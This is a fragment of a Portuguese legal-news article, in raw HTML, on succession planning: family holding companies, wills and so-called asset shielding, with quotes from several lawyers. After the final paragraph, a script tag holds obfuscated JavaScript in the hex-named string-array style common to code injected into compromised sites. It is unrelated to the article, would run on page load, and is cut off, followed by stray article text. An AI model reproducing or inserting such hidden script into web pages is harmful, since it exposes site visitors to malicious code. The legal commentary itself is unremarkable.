empresa &#8211; constitu&iacute;da nos termos da lei &#8211; que det&eacute;m o controle patrimonial de uma ou mais pessoas f&iacute;sicas de uma mesma fam&iacute;lia com bens e participa&ccedil;&otilde;es societ&aacute;rias em seus nomes &#8211; ou seja, o patrim&ocirc;nio &eacute; gerenciado e administrado por uma sociedade composta pelos membros da fam&iacute;lia. A idealiza&ccedil;&atilde;o de uma holding exige dentre outros aspectos uma organiza&ccedil;&atilde;o de gest&atilde;o administrativa, tribut&aacute;ria, fixa&ccedil;&atilde;o de responsabilidade dentre os s&oacute;cios, e etc&rdquo;, declara Gentil.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;J&aacute; o testamento, para o juiz, &eacute; um instrumento de materializa&ccedil;&atilde;o da &uacute;ltima vontade do testador (toda pessoa capaz &#8211; artigo 1857 do C&oacute;digo Civil) no tocante a totalidade dos seus bens ou de parte deles para depois de sua morte. Vale lembrar que o testamento pode conter manifesta&ccedil;&otilde;es de vontade de conte&uacute;do n&atilde;o econ&ocirc;mico, conforme disp&otilde;e o artigo 1857, par&aacute;grafo 2&ordm;.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Para Ivone Zeger, n&atilde;o h&aacute; diferen&ccedil;a entre se optar por fazer um testamento ou uma holding familiar, j&aacute; que s&atilde;o coisas que podem ser feitas individualmente e tamb&eacute;m podem ser complementares. &ldquo;Evidentemente, uma holding familiar vai acontecer quando voc&ecirc; tem um patrim&ocirc;nio que autorize o autor, o detentor desse patrim&ocirc;nio a ter essa possibilidade de destinar aquilo que ele tem para quem ele quiser. Diria que n&atilde;o tem uma diferen&ccedil;a, s&atilde;o coisas que podem se complementar, normalmente se complementam, mas vai depender do que o detentor quer dentro da sua organiza&ccedil;&atilde;o pessoal e patrimonial&rdquo;, encerra Zeger.<\/p>\n<p style=\"text-align: justify;\"><strong>Blindagem patrimonial <\/strong><\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Outro termo bastante utilizado ao se falar em planejamento sucess&oacute;rio &eacute; a blindagem patrimonial. Na teoria, o ato seria proteger um patrim&ocirc;nio de uma pessoa f&iacute;sica, que possui participa&ccedil;&atilde;o societ&aacute;ria, e tem como objetivo evitar que o patrim&ocirc;nio pessoal do s&oacute;cio seja afetado por d&iacute;vidas da empresa.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;Esta &eacute; uma express&atilde;o muito utilizada para definir provid&ecirc;ncias que uma pessoa adota visando assegurar que, dentre os bens que acumulou, t&atilde;o somente aqueles expostos a neg&oacute;cios podem ser alcan&ccedil;ados por d&iacute;vidas acaso derivadas do insucesso empresarial. &Eacute; um modelo de prote&ccedil;&atilde;o patrimonial, que, a nosso ver, ordinariamente se perfaz pela conduta empresarial, associada &agrave; utiliza&ccedil;&atilde;o de tipos societ&aacute;rios como as limitadas e as an&ocirc;nimas, cujo capital esteja integralizado com base em avalia&ccedil;&atilde;o tecnicamente adequada&rdquo;, explica o advogado Frederico Jos&eacute; de Britto Leite.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Segundo Leite, a blindagem patrimonial &eacute;, em &uacute;ltima an&aacute;lise, a segrega&ccedil;&atilde;o de bens que n&atilde;o devem se misturar com outros, expostos a risco empresarial. No entanto, esta &eacute; uma provid&ecirc;ncia que somente se mostra eficaz se adotada enquanto n&atilde;o houverem d&iacute;vidas vencidas. As holdings e patrimoniais s&atilde;o um bom modelo para este fim, desde que observadas as condi&ccedil;&otilde;es aqui postas.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Ana Luiza Maia Nevares explica que a blindagem patrimonial consiste em medidas adotadas para proteger o patrim&ocirc;nio de uma pessoa de intemp&eacute;ries econ&ocirc;micas, sociais e familiares. &ldquo;A meu ver, a designa&ccedil;&atilde;o n&atilde;o &eacute; a melhor, porque as rela&ccedil;&otilde;es patrimoniais devem se submeter aos ditames legais. Assim, n&atilde;o se deve pensar numa &ldquo;blindagem&rdquo; do patrim&ocirc;nio, mas sim em um planejamento jur&iacute;dico quanto ao destino dos bens que alcance o melhor resultado poss&iacute;vel diante dos objetivos de seu titular, a partir de instrumentos e mecanismos dispon&iacute;veis e previstos na legisla&ccedil;&atilde;o&rdquo;, acrescenta Nevares.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;J&aacute; para a advogada Ivone Zeger blindagem patrimonial n&atilde;o existe, pois seria imposs&iacute;vel blindar um patrim&ocirc;nio. &ldquo;N&atilde;o existe blindagem. Voc&ecirc; n&atilde;o consegue fazer com que o seu patrim&ocirc;nio fique totalmente fechado ou engessado. H&aacute; uma s&eacute;rie de condi&ccedil;&otilde;es e possibilidades para fazer com que n&atilde;o ocorram problemas, mas a palavra blindagem &eacute; falaciosa e d&aacute; uma ideia err&ocirc;nea, equivocada. Para aquele que deseja realmente fazer um planejamento sucess&oacute;rio, ela d&aacute; uma ideia equivocada daquilo que verdadeiramente pode ser feito, do que verdadeiramente as pessoas t&ecirc;m condi&ccedil;&otilde;es de fazer e podem fazer, com toda garantia e seguran&ccedil;a&rdquo;, finaliza.<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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alguma fam&iacute;lia que parece aquela de um comercial de margarina: feliz e sem problemas. Mas at&eacute; os mais felizes parentes se desentendem quando o assunto heran&ccedil;a vem &agrave; tona. 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